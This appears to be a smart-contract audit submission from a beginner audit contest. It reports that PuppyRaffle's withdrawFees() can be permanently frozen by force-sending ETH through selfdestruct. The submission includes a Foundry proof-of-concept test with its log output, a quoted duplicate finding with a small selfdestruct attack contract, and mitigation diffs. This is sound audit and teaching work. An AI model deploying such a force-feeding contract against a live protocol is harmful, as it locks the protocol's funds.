Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-05] Strict Balance Check in withdrawFees() Allows Anyone to Permanently Freeze Protocol Fees via Forced ETH Injection

jekysah

Strict Balance Check in withdrawFees() Allows Anyone to Permanently Freeze Protocol Fees via Forced ETH Injection

Description

In PuppyRaffle.sol, the withdrawFees() function attempts to ensure that no active raffle players exist before withdrawing protocol revenue by enforcing a strict balance check:

  • Solidity

    //@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
    ​

    However, relying on strict equality (==) with address(this).balance is an unsafe design pattern. An attacker can forcibly send Ether to the PuppyRaffle contract using selfdestruct() from a temporary contract, bypassing all contract functions.

    Once the contract's balance is artificially inflated by even 1 wei, address(this).balance becomes permanently strictly greater than totalFees. Because there is no mechanism to extract excess ETH, this statement will fail indefinitely, causing withdrawFees() to revert on every future attempt regardless of active players.Risk

Risk

Likelihood: Medium

  • Regular users cannot trigger this bug accidentally since the contract lacks payable functions. However, an attacker can easily execute this attack at a negligible cost (1 wei + minimal transaction gas for a contract with selfdestruct).

Impact: High

  • Protocol fees are permanently frozen inside the contract balance. The feeAddress recipient will never be able to collect accumulated revenue.

Proof of Concept

function test_MishandalingOfEthWithdrawRefund() public {
// Arrange
address[] memory players = new address[](4);
for (uint256 i = 0; i < 3; i++) {
players[i] = address(uint160(i + 1));
}
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(duration + puppyRaffle.raffleStartTime() + 100);
uint256 participantsLength = players.length;
vm.prank(players[0]);
puppyRaffle.selectWinner();
// Act
uint256 puppyFees = puppyRaffle.totalFees();
console2.log("Total Fees:", puppyFees);
console2.log("PuppyRaffle balance:", address(puppyRaffle).balance);
​
SimpleContract simpleContract = new SimpleContract(puppyRaffle);
vm.deal(address(simpleContract), 1 ether);
​
simpleContract.attack();
​
// Assert
puppyFees = puppyRaffle.totalFees();
console2.log("Total Fees:", puppyFees);
console2.log("PuppyRaffle balance:", address(puppyRaffle).balance);
vm.expectRevert();
puppyRaffle.withdrawFees();
​
​
}

[PASS] test_MishandalingOfEthWithdrawRefund() (gas: 373993)
Logs:
Total Fees: 800000000000000000
PuppyRaffle balance: 800000000000000000
Total Fees: 800000000000000000
PuppyRaffle balance: 1800000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 50.35ms (11.67ms CPU time)

Recommended Mitigation

  1. Remove the strict equality check with address(this).balance.

  2. Ensure the contract checks if its current balance is at least equal to totalFees, or simply rely on tracking totalFees separately without strict balance assertions.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient balance");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!